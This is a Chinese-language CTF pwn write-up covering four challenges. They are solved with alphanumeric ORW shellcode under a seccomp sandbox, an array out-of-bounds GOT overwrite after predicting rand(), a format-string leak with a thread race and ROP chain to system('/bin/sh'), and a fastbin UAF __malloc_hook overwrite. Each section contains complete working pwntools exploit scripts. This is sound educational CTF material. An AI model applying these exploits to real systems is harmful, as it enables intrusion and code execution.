pwn

Alpha_Shell

日常检查一下

1
2
3
4
5
6
7
8
9
10
11
llq@llq-virtual-machine:~$ checksec 1111
[*] '/home/llq/1111'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
llq@llq-virtual-machine:~$

看一下主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+10h] [rbp-220h]
int v5; // [rsp+14h] [rbp-21Ch]
void *dest; // [rsp+18h] [rbp-218h]
char buf[520]; // [rsp+20h] [rbp-210h] BYREF
unsigned __int64 v8; // [rsp+228h] [rbp-8h]

v8 = __readfsqword(0x28u);
init();
dest = mmap(0x100000000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( dest == -1LL )
{
puts("It seems that something wrong happened!");
exit(1);
}
puts("Radiant powers, deadly tech. Here we go!");
v5 = read(0, buf, 0x150uLL);
for ( i = 0; i < v5; ++i )
{
if ( (buf[i] <= 47 || buf[i] > 57) && (buf[i] <= 64 || buf[i] > 90) && (buf[i] <= 96 || buf[i] > 122) )
{
puts("Invalid character detected!");
exit(1);
}
}
sandbox();
memcpy(dest, buf, 0x150uLL);
(dest)(dest);
return 0;
}

其实看题目就知道是一个Alpha3的看见字符的shellcode,只不过这里不同的是,这里加了一个沙箱和一个循环限制(我这里的理解是限制打/bin/sh)。

image-20241207190454676

看一眼沙箱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 sandbox()
{
__int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0x80000000LL, 2LL, 0LL);
seccomp_rule_add(v1, 0x80000000LL, 0LL, 0LL);
seccomp_rule_add(v1, 0x80000000LL, 19LL, 0LL);
seccomp_rule_add(v1, 0x80000000LL, 1LL, 0LL);
seccomp_rule_add(v1, 0x80000000LL, 20LL, 0LL);
seccomp_rule_add(v1, 0x80000000LL, 59LL, 0LL);
seccomp_rule_add(v1, 0x80000000LL, 322LL, 0LL);
seccomp_load(v1);
return v2 - __readfsqword(0x28u);
}

image-20241207190650321

这里就直接喂给gpt,也就是ORW了呗

思路:写ORW的shellcode并且转为可见字符串就行了

写一下ORW的shellcode

这里用的

ae64

1
git clone https://github.com/veritas501/ae64.git
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from ae64 import AE64
context.log_level = 'debug'
context.arch = 'amd64'
# 定义新的 shellcode
shellcode = '''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat
pop rax
syscall

mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile
pop rax
syscall
'''
# 将汇编代码转换为字节码
shellcode_bytes = asm(shellcode)
# 使用 AE64 进行编码
obj = AE64()
encoded_shellcode = obj.encode(shellcode_bytes, 'rdx')
print(encoded_shellcode)
#RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjKTYfi9630t800T820T870T880t8B0T8J0T8K0T8L0T8M0T8O0T8P0T8T0T8U0T8V0T8W0t8b0T8g0T8h0T8i0T8j0T8n0T8oRAPZ0t8C0t8E0t8H0t8R0t8S0t8Y0t8Z0t8c0t8e0t8fZRAQZ0T810T8lZjNTYfi9yb0t800t820T8O0T8P0T8Q0T8R0T8TRAPZ0t83ZHpwzflagUUPH17HKodHAf1RM1RhTTUUXZPHGGTUUUHGFVUUUjUHAbIGBUTUUjqXZP

然后就正常传shellcode就行了

1
2
3
4
5
6
7
8
9
from pwn import *
#r= remote("125.70.243.22",31282)
r=process('./1111')
context(arch = 'amd64', os = 'linux', log_level = 'debug')

shellcode_64=b'RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjKTYfi9630t800T820T870T880t8B0T8J0T8K0T8L0T8M0T8O0T8P0T8T0T8U0T8V0T8W0t8b0T8g0T8h0T8i0T8j0T8n0T8oRAPZ0t8C0t8E0t8H0t8R0t8S0t8Y0t8Z0t8c0t8e0t8fZRAQZ0T810T8lZjNTYfi9yb0t800t820T8O0T8P0T8Q0T8R0T8TRAPZ0t83ZHpwzflagUUPH17HKodHAf1RM1RhTTUUXZPHGGTUUUHGFVUUUjUHAbIGBUTUUjqXZP'
payload=shellcode_64
r.sendafter('Here we go!\n',payload)
r.interactive()

image-20241208135703084

注意的是在进行ae64编码的时候,我们可以看见后面有一个寄存器,我们要注意一下我们最后的shellcode写到哪就行

image-20241208140212013

参考wp:

1
2
3
4
5
6
7
8
9
10
from pwn import *
from ae64 import AE64
p = process("./attachment")
context(os="linux", arch='amd64', log_level='debug')
p.recvuntil("\n")
shellcode = shellcraft.openat('AT_FDCWD', './flag', 0, 0)
shellcode += shellcraft.sendfile(1, 3, 0, 50)
alphanumeric_shellcode = AE64().encode(asm(shellcode), 'rdx', 0, 'fast')
p.send(alphanumeric_shellcode)
p.interactive()

beverage store

日常检查一下

1
2
3
4
5
6
7
8
9
10
11
llq@llq-virtual-machine:~$ checksec pwn
[*] '/home/llq/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
llq@llq-virtual-machine:~$

就关了随机化

然后我们看下主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
check_vip();
buy();
}

unsigned __int64 check_vip()
{
int v1; // [rsp+8h] [rbp-28h] BYREF
int v2; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
seed = time(0LL);
puts("input yours id");
read(0, buf, 0x10uLL);
strcpy(name, buf);
srand(seed);
v2 = rand();
puts("Input yours id authentication code:");
__isoc99_scanf("%d", &v1);
if ( v2 != v1 )
{
puts("Authentication error!");
exit(0);
}
return v4 - __readfsqword(0x28u);
}


void __noreturn buy()
{
unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("welcome to my beverage store");
puts("What type of drink do you want");
puts("1 juice\n2 coffe\n3 milk tea\n4 wine");
__isoc99_scanf("%d", &v0);
if ( (int)v0 > 4 )
{
printf("out of range");
exit(1);
}
list(v0);
puts("which one to choose");
read(0, &section[16 * v0], 0x10uLL);
puts("succeed");
puts(&section[16 * v0]);
exit(0);
}

怎么说呢?

就两个函数,看一下第一个函数

image-20241208151911976

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')


sa('input yours id\n',b'aa')
elf1=ctypes.CDLL("./libc.so.6")
elf1.srand(elf1.time(0))
rl('code:\n')
bug()
sl(str(elf1.rand()))
inter()

然后我们看一下buy函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void __noreturn buy()
{
unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("welcome to my beverage store");
puts("What type of drink do you want");
puts("1 juice\n2 coffe\n3 milk tea\n4 wine");
__isoc99_scanf("%d", &v0);
if ( (int)v0 > 4 )
{
printf("out of range");
exit(1);
}
list(v0);
puts("which one to choose");
read(0, &section[16 * v0], 0x10uLL);
puts("succeed");
puts(&section[16 * v0]);
exit(0);
}

int __fastcall list(int a1)
{
int result; // eax

if ( a1 == 1 )
result = puts("Juice | Orange Juice | Apple Juice | Grape Juice");
if ( a1 == 2 )
result = puts("Coffee | Espresso | Latte | Cappuccino");
if ( a1 == 3 )
result = puts("Milk Tea| Black Milk Tea | Green Milk Tea | Oolong Milk Tea");
if ( a1 == 4 )
return puts("Wine | Red Wine | White Wine | Rosé Wine");
return result;
}

利用思路:

image-20241208202154929

题型:数组越界

image-20241208205021455

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
p=remote('125.70.243.22',31123)
#p = process('./pwn')

rl("input yours id")
sl(b'a')
elf1=ctypes.CDLL("./libc.so.6")
elf1.srand(elf1.time(0))
rl("Input yours id authentication code:")
payload = str(elf1.rand())
sl(payload)


rl(b'4 wine')
sl(str(-4))
rl(b'which one to choose')
pay=p64(0x40133B)
s(pay)

rl(b'4 wine')
sl(str(-7))
s(b'a'*8)
rl(b'succeed')
rl(b'a'*8)
libc_base=u64(p.recv(6).ljust(8, b'\x00'))-0x1147d0
li(hex(libc_base))
system,bin=get_sb()


rl(b'4 wine')
sl(str(-7))
s(p64(system))

rl(b'4 wine')
sl(str(-4))
rl(b'which one to choose')
pay=p64(0x401511)
s(pay)

inter()

数组越界

题目:2019年信息安全国赛的you_pwn

your_pwn_6f0cdc86697ba77563390d505cfd1ec4.zip_免费高速下载|百度网盘-分享无限制 (baidu.com)

提取码:m6ra

首先日常检查一下

1
2
3
4
5
6
7
8
llq@llq-virtual-machine:~/111$ checksec pwn
[*] '/home/llq/111/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
llq@llq-virtual-machine:~/111$

Offensive_Security

怎么说呢?

打开之后你会发现他是吧动态链接库给你拆开了,但是不影响你正常做题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // eax

init(argc, argv, envp);
login(&password);
if ( v3 != 1 )
exit(1);
vuln();
return 0;
}

__int64 __fastcall login(_BYTE *a1)
{
size_t v1; // rax
char buf[36]; // [rsp+10h] [rbp-30h] BYREF
char s2[8]; // [rsp+34h] [rbp-Ch] BYREF
int v5; // [rsp+3Ch] [rbp-4h]

v5 = arc4random();
*a1 = HIBYTE(v5);
a1[1] = BYTE2(v5);
a1[2] = BYTE1(v5);
a1[3] = v5;
a1[4] = HIBYTE(v5);
a1[5] = BYTE2(v5);
a1[6] = BYTE1(v5);
a1[7] = v5;
v1 = strlen(art);
write(1, art, v1);
puts("[!] Please input your Username:");
read(0, buf, 0x10uLL);
puts("[\x1B[1;32mINFO\x1B[0m] Welcome, ");
printf(buf);
puts("[!] Please input your password: ");
read(0, s2, 8uLL);
sleep(1u);
if ( memcmp(a1, s2, 8uLL) )
{
puts("\x1B[1;31m[CRITICAL]\x1B[0m Incorrect password!");
exit(1);
}
return 1LL;
}


int vuln()
{
pthread_t th; // [rsp+0h] [rbp-10h] BYREF
pthread_t newthread; // [rsp+8h] [rbp-8h] BYREF

pthread_create(&newthread, 0LL, checker, 0LL);
pthread_create(&th, 0LL, guess, 0LL);
pthread_join(newthread, 0LL);
return pthread_join(th, 0LL);
}
int vuln()
{
pthread_t th; // [rsp+0h] [rbp-10h] BYREF
pthread_t newthread; // [rsp+8h] [rbp-8h] BYREF

pthread_create(&newthread, 0LL, checker, 0LL);
pthread_create(&th, 0LL, guess, 0LL);
pthread_join(newthread, 0LL);
return pthread_join(th, 0LL);
}

我们先看下login康康

image-20241208160156266

image-20241208160342198

**利用思路:**应该就是通过格式化字符串进行绕过随机数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
#context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./1112')
#p=remote('',)
p = process('./1112')



rl('Username:')
s(b'%7$s')
rl("Welcome, \n")
password=u64(p.recv(8))
pr(hex(password))
addr= u64(p.recv(6).ljust(8, b'\x00'))
pr(hex(addr))
pr(hex(addr-libc.sym['_IO_2_1_stdout_']))
rl('password:')
#bug()
s(p64(password))




inter()

这里简单解释一下,我们接收地址之后,不是我们正常的以7f结尾的地址,但是我们也可以正常做就行

image-20241208192221148

看一下它的地址然后正常做即可

addr-libc.sym[‘IO_2_1_stdout‘]

image-20241208192412291

然后就可以正常知道偏移了

这里我也是卡了好久,只因为🙌🙌🙌🙌🙌

然后我们就看一下:vuln函数

1
2
3
4
5
6
7
8
9
10
int vuln()
{
pthread_t th; // [rsp+0h] [rbp-10h] BYREF
pthread_t newthread; // [rsp+8h] [rbp-8h] BYREF

pthread_create(&newthread, 0LL, checker, 0LL);
pthread_create(&th, 0LL, guess, 0LL);
pthread_join(newthread, 0LL);
return pthread_join(th, 0LL);
}

这里调用两个线程,checker和gess

image-20241208193313574

运行的时候发现是直接走到了guess,我们分析guess时发现,我们输入的值会别checker进行验证

这里也是看的wp和拷打gpt(因为代码审计太差)

image-20241208201048413

image-20241208201127592

这里也就解释了为什么先走了gess机制

ok,那么最后进入shell的部分,就直接进行栈溢出就完了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./1112')
#p=remote('',)
p = process('./1112')


rl('Username:')
s(b'%7$s')
rl("Welcome, \n")
password=u64(p.recv(8))
pr(hex(password))
addr= u64(p.recv(6).ljust(8, b'\x00'))
pr(hex(addr))
libc_base=addr-libc.sym['_IO_2_1_stdout_']
pr(hex(libc_base))
system,bin_sh=get_sb()
rl('password:')


s(p64(password))

sl("1234")
rl("authentication code:")
sleep(5)
sl("1234")

rl('>\n')

rdi = 0x0000000000400661
pay = b'a'*0x28 + p64(rdi+1)+p64(rdi) + p64(bin_sh) + p64(system)
sl(pay)

inter()

这里睡眠时间长一些,绕过的机制 就大一些

image-20241208202003837

vtable_hijack

UAF+堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')

def cmd(i):
sla(b'choice:',str(i))

def add(idx,size):
cmd(1)
sla(b'index:',str(idx))
sla(b'size:',str(size))
def free(i):
cmd(2)
sla(b'index:',str(i))
def edit(idx,size,con):
cmd(3)
sla(b'index:',str(idx))
sla(b'length:',str(size))
sa(b'content:',con)
def show(i):
cmd(4)
sla(b'index:',str(i))


add(0,0x80)
add(1,0x68)
add(2,0x68)
add(3,0x68)

free(0)
show(0)
libc_base=get_addr64()-0x39bb78
li(hex(libc_base))

#pause()
ogg=libc_base+0xd5c07
hook=libc_base+libc.sym['__malloc_hook']
add(0,0x80)
free(1)
free(2)
edit(2,0x30,p64(hook-0x23))
add(4,0x68)
add(5,0x68)
edit(5,0x30,b'a'*19+p64(ogg))
cmd(1)
sla(b'index:',str(7))
sla(b'size:',str(0x68))
inter()

参考文献:

手把手教你写纯字符ascii shellcode——最通俗易懂的alphanumeric shellcode生成指南_ascii可见shellcode-CSDN博客

可见字符shellcode | Chen (new-blog-murex.vercel.app)

国城杯2024wp - powchan:pwn&AI